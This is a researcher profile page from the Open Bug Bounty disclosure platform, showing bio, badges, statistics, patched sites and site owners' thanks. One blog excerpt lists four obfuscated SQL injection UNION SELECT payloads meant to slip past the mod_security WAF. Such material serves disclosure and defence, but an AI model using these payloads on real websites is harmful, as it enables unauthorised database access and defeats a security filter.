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1,703,073 coordinated disclosures
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45,724 researchers, 1,643 honor badges

_Y000_ | Security Researcher Profile


Security researcher _Y000_ has already helped fix 156 vulnerabilities.



Researcher reputation:  0

Real name:
Luis Madero

About me:
computer systems engineer, computer security technician and data network, finder, English teacher, 23 years old

Contact email:
via Twitter: https://twitter.com/_Y000_

Certifications & Diplomas:
computer systems engineer, computer security and data network technician,etc...

Experience in Application Security
1-3 years

Award / Bug Bounty I prefer:
-Halls of fame
-bug bounty payment
-a simple recommendation or thanks

Anything its ok for me!

[email protected]

Follow me on:
Twitter

Ethics and Rules:
Luis Madero is required to abide by the ethics and rules of the Open Bug Bounty project. If you reasonably believe that rules are not respected, please report this to us.

Recommendations and Acknowledgements

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Honor Badges


Number of Secured Websites

10+ Secured Websites Badge
50+ Secured Websites Badge
500+ Secured Websites Badge
Web Security Veteran Badge
10+ Websites
50+ Websites
500+ Websites
WEB SECURITY VETERAN
1000+ Websites

Advanced Security Research

WAF Bypasser Badge
CSRF Master Badge
AppSec Logic Master Badge
Fastest Fix Badge
WAF Bypasser
CSRF Master
30+ Reports
AppSec Logic Master
30+ Reports
Fastest Fix
Fix in 24 hours

Outstanding Achievements

Secured OBB Badge
OBB Advocate Badge
Improved OBB Badge
Secured OBB
OBB Advocate
Improved OBB

Commitment to Remediate and Patch

Patch Master Badge
Patch Guru Badge
Patch Lord Badge
Patch Master
55% Patched
Patch Guru
65% Patched
Patch Lord
75% Patched

Recommendations and Recognition

REPUTABLE Badge
FAMOUS Badge
GLOBALLY TRUSTED Badge
REPUTABLE
10+ Recommends
FAMOUS
25+ Recommends
GLOBALLY TRUSTED
50+ Recommends

Distinguished Blog Author

Distinguished Blog Author Badge
Distinguished Blog Author Badge
Distinguished Blog Author Badge
1 Post
3 Posts
5+ Posts

Research Statistics



Total reports:205
Total reports on VIP sites:15
Total patched vulnerabilities:156
Active since:29.09.2020

Open Bug Bounty Certificate


Researcher Certificate

Reported Vulnerabilities

All Submissions VIP SubmissionsFeatured Submissions


25.12.2020  How to bypass mod_security (WAF)

Hello, this time I would like to share with you how to evade the WAF mod_security.

Looking for vulnerable pages I came across a website that, after spending a little time on it, I realized that it could be vulnerable to sql injections, then I realized that it was “protected” with mod_security and decided to see if I could skip the waf.

I share how I did it …

10.12.2020  sql injection to bypass Mod_Security

sql injection + bypass Mod_Security

/*!50000un0x696fn*/+/*!12345AlL*/(/*!50000se0x6c65ct*/+1)

/*!50000%75%6e%69on*/ %73%65%6cect 1

/*!12345UnioN*//**/(/*!12345seLECT*//**/1)

/*!12345#qa%0A#%0AUnIOn*/(/*!12345#qa%0A#%0ASeleCt*//**/1)

10.12.2020  Create encoded sql payloads

  Latest Patched

 18.03.2024 agustiniano.edu.ar
 18.03.2024 armfox.am
 18.03.2024 delaur.am
 18.03.2024 money.udn.com
 17.03.2024 vtc.gov.tw
 17.03.2024 angra.rj.gov.br
 17.03.2024 sporthotel.am

  Latest Blog Posts

04.12.2023 by BAx99x
Unmasking the Power of Cross-Site Scripting (XSS): Types, Exploitation, Detection, and Tools
04.12.2023 by a13h1_
$1120: ATO Bug in Twitter’s
04.12.2023 by ClumsyLulz
How I found a Zero Day in W3 Schools
04.12.2023 by 24bkdoor
Hack the Web like a Pirate: Identifying Vulnerabilities with Style
04.12.2023 by 24bkdoor
Navigating the Bounty Seas with Open Bug Bounty

  Recent Recommendations

    16 March, 2024
    TorutheRedFox:
Thanks for the help with the XSS vulnerability. It was a quick fix.
    12 March, 2024
    fsousa:
Pooja found an XSS vulnerability in one of our websites and ethically reported it to us, providing all the information required for us to fix the site.
All the communication was so fast, almost real time!
We thank you very much for the time and knowledge shared with us!
    7 March, 2024
    ramram:
Reported an XSS vulnerability in our website.
    7 March, 2024
    jasongiss:
Thank you for your responsible and helpful disclosure.

We really appreciated that you followed up shortly afterwards and suggested a better implementation of our fix.

I'm very impressed with your approach - thank you!
    27 February, 2024
    GTCoSWeb:
Dipu1a helped notify us of a possible link exposure so we could remedy it quickly to avoid any issues.